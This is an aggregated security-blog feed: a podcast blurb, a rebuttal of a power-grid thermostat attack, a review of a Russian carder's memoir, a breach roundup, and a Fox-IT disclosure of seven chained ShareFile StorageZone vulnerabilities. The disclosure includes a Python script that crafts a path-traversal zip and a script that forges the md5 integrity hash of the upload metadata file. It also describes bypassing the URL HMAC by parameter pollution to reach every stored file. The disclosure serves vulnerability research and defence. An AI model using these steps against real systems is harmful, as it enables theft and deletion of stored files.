    Got a great idea for an upcoming podcast? Send us a quick message on the contact form!

    Enjoy the Outtro Music? Thanks to Clutch for allowing us to use Son of Virginia as our new SEPodcast Theme Music

    And check out a schedule for all our training at Social-Engineer.Com

    Check out the Innocent Lives Foundation to help unmask online child predators.

    The post Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano appeared first on Security Through Education.

    Repost: Hacking the power grid through air conditioners

    This is a repost of a blog that Joe Marshall (@ImmortanJo3) and I wrote on February 22, 2016 and @da_667 posted to his blog (which is now defunct, but he has given me permission to post here).

    It’s not that easy..

    Ladies and gentlemen, I am proud to host another guest work on blindseeker. This article was a collaborative work between two gentlemen with a wealth of knowledge regarding ICS/SCADA systems, including security and operations on the US Electrical Grid.  Before we get started here, these professionals wish to present this caveat:

    We stress that this article  relates to the U.S. grid and it’s customers – it is difficult for us to talk authoritatively about grids not here in North America (though there is certainly some uniformity in how power grids work). The threat of something like this might be more pronounced in Europe or other parts of the world,  and it’s not for us to say one way or another. Also, this article and its opinions are solely of its authors, and the alien overlords who telepathically command us.

    So, without further adieu,  here ya go.
    ~DA_667

    Recently, Wired.com produced an article “How to hack the power grid through home air conditioners”. The article attempts to paint a picture that the power grid is at threat if a malicious attacker can cycle a residential or commercial A/C unit via RF signals, it would cause an interruption to the power grid and affect service delivery and reliability (read: blackouts).

    We question the feasibility of this as a viable means to affect the health of the U.S. electricity grid. But for us to explain that, we’re going to have to take a deep dive into how power is distributed to homes and businesses. Hopefully, at the end of this, you’ll agree with us and realize that while there are some serious threats to the power grid, this one might not be as bad as you think. To begin, let’s talk about Demand/Response.

    Demand and Response: A Basic Primer

    As a rule, it’s not very practical to store power on ye olde power grid. Unless you start putting together batteries the size of skyscrapers, there’s just no way to keep power stored for long periods of time. As a result, supply and demand are kept pretty darn close to each other. You produce just as much power as you need, and use as much as is being produced. Pretty simple concept, yeah?

    Any number of situations can result in an increased demand for power. Let us imagine a simple scenario: A heat wave over a large geographic area is causing energy usage to ramp up  – after all, most energy consumption comes from homes and businesses keeping their places climate controlled (as well as other power-hungry devices, such as water heaters), because it’s no fun dealing with hot weather. Those kinds of energy demand spikes can be a problem for utilities and RTO/ISO’s (ISO is an Independent System Operator and an RTO is a Regional Transmission Organization[1]). During peak demand, the transmission and distribution grids can get heavily taxed, and that can affect power delivery and reliability.

    Enter Demand/Response (Henceforth known as D/R) to the rescue! Utilities figured out early that it was easier to control the load on their grids rather than manage generation. Subsequently, all utilities have some kind of voluntary smart energy saving program, which allows a utility to control your thermostat and/or compressor in the event of a peak usage warning – compressors are notoriously power hungry, and having control over it can lessen the load on the grid. Typically this means that your utility installs a thermostat into your home, that can be remotely controlled via radio frequency. For the inconvenience of this, they cut you a break on the price of energy you pay year round, or during an actual D/R event.

    This graph displays the amount of power produced versus the amount consumed over a 24 hour period. You see that green line there? That is the direct result of Demand/Response.

    This graph displays the amount of power produced versus the amount consumed over a 24 hour period. You see that green line that represents a dip in consumption? That is the direct result of Demand/Response.

    Technical details of D/R systems

    Traditionally, most D/R systems worked over a radio waves, usually UHF/VHF RF. These systems are very similar to the one-way pager systems of the 90s .

    State of the art, baby.

    State of the art, baby.

    The thermostats themselves tend to be very basic in both form and function. Once a D/R event is issued, somewhere a button is pushed in a control center, and your utility blasts out a one way signal to your thermostat to cycle off your A/C compressor. Not all systems are the same – some will give you control over your thermostat manually after a signal is sent – some will outright prevent you from managing your thermostat until they send out an all clear. It varies by ICS vendor and utility.

    An example of a utility issued thermostat for D/R

    An example of a utility issued thermostat for D/R

    There are a lot of inherent problems with this pager-like system; Wired’s article notwithstanding. Utilities have no way of tracking whether or not the RF signal actually reached your thermostat. Maybe the thermostat isn’t on? Or perhaps the signal can’t reach certain homes?  Generally speaking, it’s just not terribly reliable. However, the idea is quantity over quality: if the utility sends out enough requests to their wireless thermostats, then some of them are bound to get the request and adjust the air conditioning units accordingly, achieving the goal of reduced load on the electrical grid. Since they’re audited by RTO/ISO’s for load management (read: keeping them honest), utilities have yearned for a better way to initiate and track an actual D/R event.

    So, now that we have explained both what D/R is, and how it has worked traditionally, let’s talk about the attack.

    The Attack

    The supposition is this: By snooping RF commands sent via a cellular/RF network, an attacker can reverse the commands and send commands to a thermostat to cycle a compressor in the guise of a D/R event. With rapid, repeated cycling of load created by engaging a compressor via thermostat on a large scale, this would create an unbearable load on the local grid, causing outages on a large scale. With this attack , a bad guy could use power delivery as a weapon for any number of motives.

    Where things get shaky is the implications as to what it means for for the distribution network that delivers power to said home/business. Could this destabilize a local grid, or larger distribution and transmission network? In short, we believe the answer is ‘no’. Why? A combination of factors make the likelihood of affecting the grid on any meaningful scale an unlikely possibility.

    The Rebuttal

    Here are some facts:

    1. With a few notable exceptions, Demand/Response is voluntary. And for the right reasons – you might have vulnerable family and pets at home, and wouldn’t want them to endure high temperatures during a D/R event.You might operate a business that heavily relies upon climate control. These reasons (and others), might explain the somewhat tepid enrollment in D/R to begin with. In 2014, only 9.3 million out of 147,373,702 energy customers were enrolled in the entire country (that’s about 6.3%). It’s simple: If you aren’t enrolled in D/R and thus have a vulnerable thermostat, then this attack doesn’t apply to you. In aggregate this lessens any kind of perceivable risk to the grid.

    2. Distribution transformers and feeders are designed to handle inrush current, which is the initial inrush of current when an electrical device is energized. When designing and maintaining a distribution network, utility engineers take into account the electrical load from every type of customer, from a small house to large box stores to hospitals and even large industrial customers. When a motor is started, the inrush or starting current can be 50 times larger than the normal running current.  Motors are everywhere in the average home: power tools, ceiling fans, refrigerators, washing machines, dryers, dishwashers, and the air conditioning system. The largest in the home is typically the air conditioner condenser motor, which can range from 1 to 5 horsepower in size. For example, a 5-ton ac unit can have 150 locked rotor amps (LRA) at 240 volts.

    Now let’s imagine a situation. Let’s say that a distribution feeder serves 1000 customers. A squirrel causes a problem next to the substation and the feeder breaker trips, causing the 1000 customers to lose power. It’s a 95 degree August day, and everyone is running their air conditioners when the outage occurs. The squirrel is removed and the power is restored to the feeder. This instance is called cold-load pickup, where the inrush current is many times greater than the normal current on the feeder due the massive residential load, especially ac units, turning back on all at once. If the design of the feeder and its protection is not correct, then the feeder could trip back out again, and the customers would not be happy. This is why engineers account for cold load pickup in feeder design, especially in the Southern United States, where most homes have air conditioners.

    ics-collab5

    Greatest APT there ever was.

    3. Many utilities are phasing out these antiquated RF-based D/R systems in favor of newer systems and protocols, such as zigbee or wifi-based D/R systems utilizing commercial off the shelf thermostats (such as google’s NEST and many others). These newer systems deliver both enhanced reliability and better metrics/reporting from these devices out in the field (i.e. in your home!). These new systems promise better reliability, control, and granularity. And as a nice bonus, these flavors of D/R aren’t vulnerable to the stated RF attack. As a caveat, however, there is no percentage breakdown in the the electric sector as to what competing systems are used (Traditional RF v. Zigbee v. Wi-fi). For the sake of simplicity, we will argue that certainly a small percentage of D/R systems do not utilize the traditional RF flavor of D/R, and that number is growing as the older systems are being phased out.

    The newer, internet-enabled thermometers give customers the ability to adjust the temperature of their home from a smart phone app, and as this picture indicates, allows them to receive notifications for D/R events on their mobile devices.

    The newer, internet-enabled thermometers give customers the ability to adjust the temperature of their home from a smart phone app, and as this picture indicates, allows them to receive notifications for D/R events on their mobile devices.

     

    4. Even if you are actually enrolled in a D/R program, and even if they use a vulnerable RF based D/R, and even if their distribution grid design isn’t up to the task, there’s still the problem of actually getting the RF command to your thermostat. The authors will concede there are numerous ways for a bad actor to saturate an area with RF, but keep in mind – utilities have a very large and very expensive RF infrastructure – and still have no way to reliably ensure that RF signals sent to participating customers in a demand response system are being received (as mentioned above in “Technical Details of D/R systems”). We’re talking massive service areas here – for example, in Baltimore Maryland, the local utility, BG&E, has a service area of 2300 square miles, and still can’t ensure RF reception for reasons beyond their control. There are numerous complications with using the older RF systems, chief amongst them is that it’s one-way. The lack of return telemetry makes gauging the effectiveness of the system highly problematic. The advent and popularity of smart meters has helped utilities gauge program response, but doesn’t solve the problem if a thermostat isn’t switching when ordered to, and this happens more often than you would think. On the bright side, thermostat technology is changing [pdf] (see #3).

    Attack Impact and Viability

    We find that exploitation of RF signals sent to RF-enabled D/R systems is entirely plausible on a small scale; kudos to the researchers for discovering this weakness, and pointing it out. It is entirely possible for an attacker to replay commands to a D/R thermostat, to cause a compressor to cycle. If you live in home with a D/R thermostat or ac compressor switch, you have a right to feel a little concerned. If you have vulnerable pets or family members, it’s worth being aware that this could possibly affect your air conditioning. We would give you some hope, however, that this attack has a reasonably modest barrier of entry, and the solution would literally be as easy as switching out your thermostat if you suspect you are a victim. Keep in mind, this might unenroll you from any D/R program you are in, but it’s no fun having a heat stroke.

    Sweet, merciful relief.

    Sweet, merciful relief.

    It’s worth noting that the old D/R system has been around for a long time. It perfectly fits the utility model of “If it’s not broken, don’t fix it”, the bane of all information security programs. With security researchers shining lights on antiquated and vulnerable ICS technologies, hopefully it can spur better security innovation in an industry that is loathe to change itself.

    Edit: 2/26/2016 – [Removal of “Context Matters”] After some discussion, we have decided to remove a single paragraph here discussing the vetting and the quality of the Wired article referenced. The paragraph in question didn’t contribute to the discussion in a meaningful way. Considering how difficult information security is in general (ICS security in particular) we should be tearing down walls, instead of building them up.

    Conclusion

    We find that the attack based on snooping/replaying RF commands to a thermostat valid. There are no security checksums or validation of RF commands sent from most D/R systems to thermostats; They will respond to any properly formatted request as per design. A hat tip to the two security researchers who discovered this are in order. However, don’t buy into FUD. The real danger this vulnerability exposes is to homes and business owners who have vulnerable thermostats, who rely upon climate control. We find the threat to the stability of any actual grid not plausible.

    This article was co-authored by @ImmortanJo3, team leader of Cisco Talos’ ICS security division, and @chrissistrunk, an ICS security professional for Mandiant. With some minor edits made by @DA_667.

    The post Repost: Hacking the power grid through air conditioners appeared first on Liquidmatrix Security Digest.

    How to Steal a Million: The Memoirs of a Russian Hacker

    As a University researcher specializing in cybercrime, I've had the opportunity to watch the Russian carding market closely and write about it frequently on my blog "Cybercrime & Doing Time."  Sometimes this leads to interactions with the various criminals that I have written about, which was the case with Sergey.  I was surprised last January to be contacted and to learn that he had completed a ten year prison sentence and had written a book.   I have to say, I wasn't expecting much.  This was actually the third time a cybercriminal had tried to get my interest in a book they had written, and the first two were both horrible and self-promotional.  I agreed to read his first English draft, which he sent me in January 2017.

    I was absolutely hooked from page 1.  As I have told dozens of friends since then, his story-telling vehicle is quite good.  The book starts with him already in prison, and in order to teach the reader about carding and cybercrime, a lawyer visits him periodically in prison, providing the perfect foil  needed to explain key concepts to the uninitiated, such as interrupting one of Sergey's stories to ask "Wait.  What is a white card?"
    My copy of the book!

    As someone who has studied cybercrime for more than 20 years, I was probably more excited than the average reader will be to see so many names and criminal forums and card shops that I recognized -- CarderPlanet, and card shop runners such as Vladislav Khorokhorin AKA BadB, Roman Vega AKA Boa, and data breach and hacking specialists like Albert Gonzalez and Vladimir Drinkman who served as the source of the cards that they were all selling.  These and many of the other characters in this book appeared regularly in this blog.  (A list is at the bottom of this article)

    Whether these names are familiar to the reader or not, one can't help but be drawn into this story of intrigue, friendship, and deception as Pavlovich and his friends detect and respond to the various security techniques that shopkeepers, card issuers, and the law enforcement world are using to try to stop them.  Sergey shows how a criminal can rise quickly in the Russian cybercrime world by the face-to-face networking that a $100,000 per month income can provide, jet-setting the world with his fellow criminals and using business air travel, penthouse hotel suites, cocaine and women to loosen the lips of his peers so he can learn their secrets., but he also shows how quickly these business relationships can shatter in the face of law enforcement pressure.

    The alternating chapters of the book serve as a stark reminder of where such life choices lead, as Sergey reveals the harsh realities of life in a Russian prison.  Even these are fascinating, as the smooth-talking criminal does his best to learn the social structure of Russian prison and find a safe place for himself on the inside.  The bone-crushing beatings, deprivation of food and privacy, and the fear of never knowing which inmate or prison guard will snap next in a way that could seriously harm or kill him is a constant reminder that eventually everyone gets caught and when they do, the consequences are extreme.

    Sergey's original English manuscript has been greatly improved with the help of feedback from pre-readers and some great editors. After my original read, I told Sergey "I LOVE the story delivery mechanism, and there are fascinating stories here, but there are a few areas that really need some work."  It's clear that he took feedback like this seriously.  The new book, released in May 2018, is markedly improved without taking anything away from the brilliant story-telling of a fascinating criminal career ending with a harsh encounter with criminal justice.

    A purchase link to get the book from Amazon: How to Steal a Million: The Memoirs of a Russian Hacker

    The book was extremely revealing to me, helping me to understand just how closely linked the various Russian criminals are to each other, as well as revealing that some brilliant minds, trained in Computer Science and Engineering, and left morally adrift in a land where corruption is a way of life and with little chance of gainful employment, will apply those brilliant minds to stealing our money.

    I seriously debated whether I should support this book.  Many so-called "reformed" criminals have reached out to me in the past, asking me to help them with a new career by meeting with them, recommending their services, or helping them find a job.  It is a moral dilemma.  Do I lend assistance to a many who stole millions of dollars from thousands of Americans?  Read the book.  To me, the value of this book is that it is the story of a criminal at the top of his game, betrayed by his colleagues and getting to face the reality of ten years in a Russian prison.  I think the book has value as a warning -- "a few months or even a couple years of the high life is not worth the price you will pay when it all comes crashing down."

    Links to selected blog articles that feature Pavlovich's cast of characters:

    May 12, 2008 TJX and Dave and Busters - Maksym Yastremskiy (Maksik) Aleksandr Suvorov (JonnyHell) and Albert Gonzales (Segvec) and their role in the TJX Data Breach.

    August 5, 2008 TJX Reminder: We Will Arrest You and We Will Send You To Jail - some of the legal aftermath of the case above.

    August 8, 2008 TJX: the San Diego Indictments where the US government indicts:
    • SERGEY ALEXANDROVICH PAVLOVICH, aka Panther, aka Diplomaticos, aka PoL1Ce Dog, aka Fallen Angel, aka Panther757
    • DZMITRY VALERYEVICH BURAK, aka Leon, aka Graph, aka Wolf
    • SERGEY VALERYEVICH STORCHAK, aka Fidel
    and charges them with violation of "18 USC Section 1029(b)(2) Conspiracy to Traffic Unauthorized Access Devices"

    May 9, 2013 ATM Cashers in 26 Countries Steal $40M talks about BadB's role in "Unlimited" ATM cash-out schemes, and his arrest in 2010 and sentencing to 88 months in 2013.

    Jan 14, 2014 Target Breach Considered in Light of Drinkman/Gonzalez Data Breach Gang talked about Albert Gonzales, Vladimir Drinkman, and how there seemed to be such a strong pattern of behavior - a script if you will - to how criminals were conducting the major data breaches of that time.

    Jan 27, 2014 Roman Vega (CarderPlanet's BOA) Finally Gets His Sentence addressed the plight of Roman Vega, who had been drifting around in the American criminal justice system, unsentenced, from 2003 until 2013! Dmitry Golubov AKA Script, the "godfather of CarderPlanet" is also discussed in this post.



    Cyber Security Roundup for April 2018

    The fallout from the Facebook privacy scandal rumbled on throughout April and culminated with the closure of the company at the centre of the scandal, Cambridge Analytica.
    Ikea was forced to shut down its freelance labour marketplace app and website 'TaskRabbit' following a 'security incident'. Ikea advised users of TaskRabbit to change their credentials if they had used them on other sites, suggesting a significant database compromise.

    TSB bosses came under fire after a botch upgraded to their online banking system, which meant the Spanished owned bank had to shut down their online banking facility, preventing usage by over 5 million TSB customers. Cybercriminals were quick to take advantage of TSB's woes.

    Great Western Railway reset the passwords of more than million customer accounts following a breach by hackers, US Sun Trust reported an ex-employee stole 1.5 million bank client records, an NHS website was defaced by hackers, and US Saks, Lord & Taylor had 5 million payment cards stolen after a staff member was successfully phished by a hacker.

    The UK National Cyber Security Centre (NCSC) blacklist China's state-owned firm ZTE, warning UK telecom providers usage of ZTE's equipment could pose a national security risk. Interestingly BT formed a research and development partnership with ZTE in 2011 and had distributed ZTE modems. The NCSC, along with the United States government, released statements accusing Russian of large-scale cyber-campaigns, aimed at compromising vast numbers of the Western-based network devices.

    IBM released the 2018 X-Force Report, a comprehensive report which stated for the second year in a row that the financial services sector was the most targeted by cybercriminals, typically by sophisticated malware i.e. Zeus, TrickBot, Gootkit. NTT Security released their 2018 Global Threat Intelligence Report, which unsurprisingly confirmed that ransomware attacks had increased 350% last year.  

    A concerning report by the EEF said UK manufacturer IT systems are often outdated and highly vulnerable to cyber threats, with nearly half of all UK manufacturers already had been the victim of cybercrime. An Electropages blog questioned whether the boom in public cloud service adoption opens to the door cybercriminals.

    Finally, it was yet another frantic month of security updates, with critical patches released by Microsoft, Adobe, Apple, Intel, Juniper, Cisco, and Drupal.

    NEWS
    AWARENESS, EDUCATION AND THREAT INTELLIGENCE
    REPORTS

    Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

    A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).

    Sharefile

    Gaining initial access

    After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
    When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at name.sharefile.eu (where name is the name of the company using the solution):

    Initialize upload

    We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

    Initialize upload response

    In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

    The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

    The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

    Extract feature

    A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

    The following python code creates a special zip file called out.zip, which contains two files, one of which has a relative path.

    import sys, zipfile
    #the name of the zip file to generate
    zf = zipfile.ZipFile('out.zip', 'w')
    #the name of the malicious file that will overwrite the origial file (must exist on disk)
    fname = 'xxe_oob.xml'
    #destination path of the file
    zf.write(fname, '../../../../testbestand_fox.tmp')
    #random extra file (not required)
    #example: dd if=/dev/urandom of=test.file bs=1024 count=600
    fname = 'test.file'
    zf.write(fname, 'tfile')
    

    When we upload this file to ShareFile, we get the following message:

    ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

    This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

    Vulnerability 1: Path traversal in archive extraction

    From arbitrary write to arbitrary read

    While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

    • files
    • persistenstorage
    • tokens

    The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

    When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

    In each of these folders there is a file called info.txt, which contains information about our upload:

    Info.txt

    In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
    We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

    After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

    Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

    import md5
    with open('info_modified.txt','r') as infile:
    instr = infile.read().strip().split('|')
    instr2 = u'|'.join(instr[:-1])
    outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
    with open('info_out.txt','w') as outfile:
    outfile.write('%s|%s' % (instr2, outhash))
    

    Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

    Vulnerability 2: Integrity of data files (info.txt) not verified

    Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
    It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

    modified info.txt

    When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

    File size does not match

    Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

    File extraction POC

    And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

    Vulnerability 3: Path traversal in info.txt data

    By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

    Investigating file downloads

    So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

    Download URL

    Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

    The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

    <!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
    <ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
    <DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
    <RequestType>single</RequestType>
    <BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
    <ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
    <StorageBasePath>\\s3\sf-eu-1\;</StorageBasePath>
    <BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
    <ZipFileName>tfile</ZipFileName>
    <UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
    <Metadata>
    <Item key="operatingsystem" value="Linux" />
    </Metadata>
    <IrmEnabled>false</IrmEnabled>
    <IrmPolicyServerUrl />
    <IrmAccessId />
    <IrmAccessKey />
    <Items>
    <File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
    </Items>
    <Log>
    <EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
    <UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
    <OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
    <AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
    <UserEmailAddress>fox-it@redacted</UserEmailAddress>
    <Name>tfile</Name>
    <FileCount>1</FileCount>
    <AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
    <FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
    <ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
    <Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
    <IncrementDownloadCount>false</IncrementDownloadCount>
    <ShareID />
    </Log>
    </ShareFileDownloadInfo>
    

    Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

    The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

    At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

    In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

    Static MAC secret

    Vulnerability 4: Token XML files integrity integrity not verified

    During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

    Signature disclosure

    Vulnerability 5: Debug information disclosure

    Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

    Hashing of secret prepended

    Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

    XXE error

    Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

    In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

    Getting tokens and files

    At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

    For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

    Unzip code

    What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:

    HMAC Url

    However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

    Validation part 1

    Which then passes it to the second validation function:

    Validation part 2

    What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

    So what happens when we add another parameter after the HMAC? When we modify the URL as follows:

    uploadid-double.png

    We get the following message:

    {"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

    So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

    Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

    Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

    Recursive iteration

    To exploit this, we need to do the following:

    • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
    • Upload an info.txt file to this directory.
    • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
    • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

    The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

    Upload ID path traversal

    Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

    Which returns the following result that indicates success:

    Upload ID path traversal result

    Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

    Download tokens

    Vulnerability 8: Path traversal in upload ID

    We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
    The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.

    Conclusion

    By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

    Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

    1. Path traversal in archive extraction
    2. Integrity of data files (info.txt) not verified
    3. Path traversal in info.txt data
    4. Token XML files integrity integrity not verified
    5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
    6. Token XML files vulnerable to XXE
    7. Incorrectly implemented URL verification (parameter pollution)
    8. Path traversal in upload ID

